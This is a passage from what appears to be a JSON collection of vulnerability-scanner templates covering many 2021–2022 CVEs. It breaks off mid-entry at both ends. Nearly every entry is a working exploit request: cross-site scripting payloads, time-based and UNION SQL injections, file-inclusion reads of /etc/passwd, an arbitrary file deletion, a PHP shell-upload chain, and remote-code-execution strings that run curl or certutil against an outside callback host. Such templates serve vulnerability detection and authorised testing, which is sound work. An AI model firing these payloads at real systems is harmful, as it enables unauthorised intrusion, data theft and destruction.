clickedItem_tab=0\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json"]},{"type":"word","words":["get_cfg_clientlist","alias","model_name"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26710","info":{"name":"Redwood Report2Web 4.3.4.5 & 4.5.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/r2w/signIn.do?urll=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[">"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24554","info":{"name":"WordPress Paytm Donation <=1.3.2 - Authenticated SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","@timeout: 10s\nGET /wp-admin/admin.php?page=wp_paytm_donation&action=delete&id=0%20AND%20(SELECT%205581%20FROM%20(SELECT(SLEEP(6)))Pjwy) HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["duration_2>=6","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"paytm-settings_page_wp_paytm_donation\")"],"condition":"and"}]}]},{"id":"CVE-2021-43734","info":{"name":"kkFileview v4.0.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/getCorsFile?urlPath=file:///etc/passwd","{{BaseURL}}/getCorsFile?urlPath=file:///c://windows/win.ini"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:","for 16-bit app support"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24498","info":{"name":"WordPress Calendar Event Multi View <1.4.01 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22 HTTP/1.1\nHost: {{Hostname}}\nAccept-Encoding: gzip, deflate\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\nConnection: close\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["><","Calendar Details"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21479","info":{"name":"SCIMono <0.0.19 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/Schemas/$%7B''.class.forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"id\")')%7D"],"matchers":[{"type":"word","part":"body","words":["The attribute value","java.lang.UNIXProcess@","has invalid value!","\"status\" : \"400\""],"condition":"and"}]}]},{"id":"CVE-2021-24335","info":{"name":"WordPress Car Repair Services & Auto Mechanic Theme <4.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/car1/estimateresult/result?s=&serviceestimatekey=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46424","info":{"name":"Telesquare TLR-2005KSH 1.0.0 - Arbitrary File Delete","severity":"critical"},"requests":[{"raw":["GET /images/icons_title.gif HTTP/1.1\nHost: {{Hostname}}\n","DELETE /images/icons_title.gif HTTP/1.1\nHost: {{Hostname}}\n","GET /images/icons_title.gif HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["status_code_1 == 200 && status_code_2 == 204 && status_code_3 == 404"]}]}]},{"id":"CVE-2021-37573","info":{"name":"Tiny Java Web Server - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/te%3Cimg%20src=x%20onerror=alert(42)%3Est"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["
404 test not found
"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2021-31589","info":{"name":"BeyondTrust Secure Remote Access Base <=6.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/appliance/login.ns?login%5Bpassword%5D=test%22%3E%3Csvg/onload=alert(document.domain)%3E&login%5Buse_curr%5D=1&login%5Bsubmit%5D=Change%20Password"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","bomgar"],"case-insensitive":true,"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3110","info":{"name":"PrestaShop 1.7.7.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 20s\nGET /index.php?fc=module&module=productcomments&controller=CommentGrade&id_products[]=1%20AND%20(SELECT%203875%20FROM%20(SELECT(SLEEP(6)))xoOt) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"application/json\")","contains(body, \"average_grade\")"],"condition":"and"}]}]},{"id":"CVE-2021-3017","info":{"name":"Intelbras WIN 300/WRN 342 - Credentials Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.asp"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["def_wirelesspassword =","Roteador Wireless"],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","regex":["def_wirelesspassword = \"([A-Za-z0-9=]+)\";"],"part":"body"}]}]},{"id":"CVE-2021-27124","info":{"name":"Doctor Appointment System 1.0 - SQL Injection","severity":"medium"},"requests":[{"raw":["POST /patient/search_result.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nexpertise=Heart'+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,md5('999999999'),NULL,NULL,NULL,NULL,NULL,NULL--+-&submit=\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["c8c605999f3d8352d7bb792cf3fdb25b","Doctor Appoinment System"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-20137","info":{"name":"Gryphon Tower - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/luci/site_access/?url=%22%20onfocus=alert(document.domain)%20autofocus=1"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["text/html"]},{"type":"word","part":"body","words":["onfocus=alert(document.domain) autofocus=1>","Send Access Request URL"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3378","info":{"name":"FortiLogger 4.4.2.2 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS\nAccept: application/json\nReferer: {{BaseURL}}\nConnection: close\nX-Requested-With: XMLHttpRequest\n\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\nContent-Disposition: form-data; name=\"file\"; filename=\"poc.txt\"\nContent-Type: image/png\n\n{{randstr}}\n\n------WebKitFormBoundarySHHbUsfCoxlX1bpS\n","GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["{{randstr}}"]},{"type":"word","part":"header","words":["text/plain","ASP.NET"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24150","info":{"name":"WordPress Like Button Rating <2.6.32 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=likebtn_prx&likebtn_q={{base64('http://likebtn.com.oast.me')}}\" HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Interactsh Server"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-38751","info":{"name":"ExponentCMS <= 2.6 - Host Header Injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"headers":{"Host":"{{randstr}}.tld"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{randstr}}.tld","EXPONENT.PATH","EXPONENT.URL"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41349","info":{"name":"Microsoft Exchange Server Pre-Auth POST Based Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /autodiscover/autodiscover.json HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n%3Cscript%3Ealert%28document.domain%29%3B+a=%22%3C%2Fscript%3E&x=1\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["alert(document.domain);","a=\"\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"word","negative":true,"words":["A potentially dangerous Request.Form value was detected from the client"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-32820","info":{"name":"Express-handlebars - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?layout=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","daemon:[x*]:0:0:","operator:[x*]:0:0:"],"condition":"or"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-44515","info":{"name":"Zoho ManageEngine Desktop Central - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /STATE_ID/123/agentLogUploader HTTP/1.1\nHost: {{Hostname}}\nCookie: STATE_COOKIE=&_REQS/_TIME/123\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["len(body) == 0"]},{"type":"word","part":"header","words":["UEMJSESSIONID="]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-25078","info":{"name":"Affiliates Manager < 2.9.0 - Cross Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /?wpam_id=1 HTTP/1.1\nHost: {{Hostname}}\nX-Forwarded-For: \n","GET /wp-admin/admin.php?page=wpam-clicktracking HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200 && status_code_3 == 200","contains(header_3, \"text/html\")","contains(body_3, \"\")","contains(body_3, \"Affiliates Manager Click Tracking\")"],"condition":"and"}]}]},{"id":"CVE-2021-25074","info":{"name":"WordPress WebP Converter for Media < 4.0.3 - Unauthenticated Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/webp-converter-for-media/includes/passthru.php?src=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2021-24214","info":{"name":"WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-login.php?login-error="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["ERROR ():","Login with OpenID Connect"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-21803","info":{"name":"Advantech R-SeeNet - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/php/device_graph_page.php?is2sim=%22zlo%20onerror=alert(1)%20%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"zlo onerror=alert(1) \"","Device Status Graph"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-42258","info":{"name":"BillQuick Web Suite SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST / HTTP/1.1\nHost: {{Hostname}}\nReferer: {{BaseURL}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\n\n__EVENTTARGET=cmdOK&__EVENTARGUMENT=&__VIEWSTATE={{url_encode(\"{{VS}}\")}}&__VIEWSTATEGENERATOR={{url_encode(\"{{VSG}}\")}}&__EVENTVALIDATION={{url_encode(\"{{EV}}\")}}&txtID=uname%27&txtPW=passwd&hdnClientDPI=96\n"],"cookie-reuse":true,"matchers":[{"type":"word","part":"body","words":["System.Data.SqlClient.SqlException","Incorrect syntax near","_ACCOUNTLOCKED"],"condition":"and"}],"extractors":[{"type":"xpath","name":"VS","internal":true,"xpath":["/html/body/form/div/input[@id='__VIEWSTATE']"],"attribute":"value"},{"type":"xpath","name":"VSG","internal":true,"xpath":["/html/body/form/div/input[@id='__VIEWSTATEGENERATOR']"],"attribute":"value"},{"type":"xpath","name":"EV","internal":true,"xpath":["/html/body/form/div/input[@id='__EVENTVALIDATION']"],"attribute":"value"}]}]},{"id":"CVE-2021-24285","info":{"name":"WordPress Car Seller - Auto Classifieds Script - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\naction=request_list_request&order_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a767671,0x685741416c436654694d446d416f717a6b54704a457a5077564653614970664166646654696e724d,0x7171786b71),NULL-- -\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["qzvvqhWAAlCfTiMDmAoqzkTpJEzPwVFSaIpfAfdfTinrMqqxkq"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-22053","info":{"name":"Spring Cloud Netflix Hystrix Dashboard <2.2.10 - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec(\"curl http://{{interactsh-url}}\")}__::.x/","{{BaseURL}}/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec(\"certutil -urlcache -split -f http://{{interactsh-url}}\")}__::.x/"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"regex","part":"interactsh_request","regex":["curl|CertUtil"]}]}]},{"id":"CVE-2021-43574","info":{"name":"Atmail 6.5.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/atmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/atmail/webmail/?format=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\" does not exist"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[500,403],"condition":"or"}]}]},{"id":"CVE-2021-24342","info":{"name":"WordPress JNews Theme <8.0.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /?ajax-request=jnews HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nlang=en_US&cat_id=6\">&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["Content-Type: text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-35587","info":{"name":"Oracle Access Manager - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/oam/server/opensso/sessionservice"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["x-oracle-dms-ecid","x-oracle-dms-rid"],"case-insensitive":true,"condition":"or"},{"type":"word","part":"body","words":["/oam/pages/css/general.css"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-3297","info":{"name":"Zyxel NBG2105 V1.00(AAGU.2)C0 - Authentication Bypass","severity":"high"},"requests":[{"raw":["GET /status.htm HTTP/1.1\nHost: {{Hostname}}\nCookie: language=en; login=1\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["Running Time","Firmware Version","Firmware Build Time"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-32789","info":{"name":"WooCommerce Blocks 2.5 to 5.5 - Unauthenticated SQL Injection","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/?rest_route=/wc/store/products/collection-data&calculate_attribute_counts[0][query_type]=or&calculate_attribute_counts[0][taxonomy]=%252522%252529%252520union%252520all%252520select%2525201%25252Cconcat%252528id%25252C0x3a%25252c%252522sqli-test%252522%252529from%252520wp_users%252520where%252520%252549%252544%252520%252549%25254E%252520%2525281%252529%25253B%252500"],"matchers-condition":"and","matchers":[{"type":"word","words":["sqli-test","attribute_counts","price_range","term"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24347","info":{"name":"WordPress SP Project & Document Manager <4.22 - Authenticated Shell Upload","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=sp-client-document-manager-fileview HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1 HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryaeBrxrKJzAF0Tgfy\n\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"cdm_upload_file_field\"\n\n{{nonce}}\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"_wp_http_referer\"\n\n/wordpress/wp-admin/admin.php?page=sp-client-document-manager-fileview&id=1\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"dlg-upload-name\"\n\n\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"\"\nContent-Type: application/octet-stream\n\n\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"dlg-upload-file[]\"; filename=\"{{randstr}}.pHP\"\nContent-Type: image/svg+xml\n\n\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"dlg-upload-notes\"\n\n\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy\nContent-Disposition: form-data; name=\"sp-cdm-community-upload\"\n\nUpload\n------WebKitFormBoundaryaeBrxrKJzAF0Tgfy--\n","GET /wp-content/uploads/sp-client-document-manager/1/{{to_lower(\"{{randstr}}.pHP\")}} HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_4, \"text/html\")","status_code_4 == 200","contains(body_4, \"CVE-2021-24347\")"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["name=\"cdm_upload_file_field\" value=\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2021-3019","info":{"name":"ffay lanproxy Directory Traversal","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/../conf/config.properties"],"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/octet-stream"],"condition":"and"},{"type":"word","part":"body","words":["config.admin.username","config.admin.password"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-30151","info":{"name":"Sidekiq <=6.2.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/sidekiq/queues/\"onmouseover=\"alert(document.domain)\""],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["onmouseover=\"alert(document.domain)"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-26085","info":{"name":"Atlassian Confluence Server - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Confluence","com.atlassian.confluence.setup.ConfluenceAppConfig"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-46068","info":{"name":"Vehicle Service Management System - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername={{username}}&password={{password}}\n","POST /classes/Users.php?f=save HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nid=1&firstname=Administrator%22%3e%3cscript%3ealert%28document.domain%29%3c%2fscript%3e&lastname=Admin&username=admin\n","GET /admin/?page=user HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(header_3, 'text/html')","status_code_3 == 200","contains(body_3, \"Administrator\\\"> Admin\")"],"condition":"and"}]}]},{"id":"CVE-2021-39152","info":{"name":"XStream <1.4.18 - Server-Side Request Forgery","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n  \n    \n      http://{{interactsh-url}}/internal/\n      GBK\n      1111\n      b\n      0\n      0\n    \n    \n  \n  \n    \n      http://{{interactsh-url}}/internal/\n      \n      1111\n      b\n      0\n      0\n    \n    \n  \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["User-Agent: Java"]}]}]},{"id":"CVE-2021-21351","info":{"name":"XStream <1.4.16 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n  \n    ysomap\n    \n      \n        \n          -10086\n          \n            <__overrideDefaultParser>false\n            false\n            false\n            \n              \n            \n            \n          \n          false\n          false\n          \n            \n              \n                \n                  1008\n                  true\n                  1000\n                  0\n                  2\n                  0\n                  0\n                  0\n                  true\n                  1004\n                  false\n                  rmi://{{interactsh-url}}/test\n                  \n                  \n                \n              \n              \n                \n              \n            \n            \n              com.sun.rowset.JdbcRowSetImpl\n              setAutoCommit\n              \n                boolean\n              \n            \n            \n            false\n          \n          \n            false\n          \n          false\n          \n          -1\n          false\n          false\n        \n        1\n      \n      1\n      false\n    \n  \n  \n    ysomap\n    \n      test\n    \n  \n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["timestamp","com.thoughtworks.xstream"],"condition":"or"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[500]}]}]},{"id":"CVE-2021-24750","info":{"name":"WordPress Visitor Statistics (Real Time Traffic) <4.8 -SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin-ajax.php?action=refDetails&requests=%7B%22refUrl%22:%22'%20union%20select%201,1,md5({{num}}),4--%20%22%7D HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["{{md5({{num}})}}"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-34805","info":{"name":"FAUST iServer 9.0.018.018.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-24316","info":{"name":"WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?post_type=post&s=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3C/script%3E "],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Sorry, no posts matched your criteria."],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-44152","info":{"name":"Reprise License Manager 14.2 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/goforms/menu"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["RLM Administration Commands"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-27315","info":{"name":"Doctor Appointment System 1.0 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 10s\nPOST /contactus.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nfirstname={{randstr}}&lastname={{randstr}}&email={{randstr}}%40test.com&comment=test'+AND+(SELECT+6133+FROM+(SELECT(SLEEP(6)))nOqb)+AND+'RiUU'='RiUU&submit=Send+Us\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 500","contains(body, \"Medical Management System\")"],"condition":"and"}]}]},{"id":"CVE-2021-24762","info":{"name":"WordPress Perfect Survey<1.5.2 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-admin/admin-ajax.php?action=get_question&question_id=1%20AND%20(SELECT%207242%20FROM%20(SELECT(SLEEP(4)))HQYx)"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=4"]},{"type":"word","part":"header","words":["wp-ps-session"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2021-24176","info":{"name":"WordPress JH 404 Logger <=1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/jh-404-logger/readme.txt"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["JH 404 Logger"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2021-41691","info":{"name":"openSIS Student Information System 8.0 SQL Injection","severity":"high"},"requests":[{"raw":["POST /index.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nUSERNAME={{username}}&PASSWORD={{password}}&language=en&log=\n","POST /TransferredOutModal.php?modfunc=detail HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/x-www-form-urlencoded\n\nstudent_id=updatexml(0x23,concat(1,md5({{num}})),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5\n"],"attack":"pitchfork","payloads":{"username":["student"],"password":["student@123"]},"req-condition":true,"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["contains(body_2, \""],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["imgNavLeftXX\\\">","({});",">.js"],"condition":"or"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-46071","info":{"name":"Helmet Store Showroom v1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["POST /classes/Login.php?f=login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nusername='+OR+1%3D1+--+-&password=1234\n","GET /admin/ HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(body_2, \"Helmet Store\") && contains(body_2, \"Adminstrator Admin\")"],"condition":"and"}]}]},{"id":"CVE-2022-2546","info":{"name":"WordPress All-in-One WP Migration <=7.62 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=ai1wm_export HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bnew_value%5D%5B%5D=XSSPAYLOAD%3Csvg+onload=alert(document.domain)%3E&ai1wm_manual_export=1&secret_key={{secretkey}} HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_3, '{\\\"new_value\\\":[\\\"XSSPAYLOAD')"],"condition":"and"}],"extractors":[{"type":"regex","name":"secretkey","group":1,"regex":["ai1wm_feedback\"},\"secret_key\":\"([0-9a-zA-Z]+)\""],"internal":true}]}]},{"id":"CVE-2022-32770","info":{"name":"WWBN AVideo 11.6 - Cross-Site 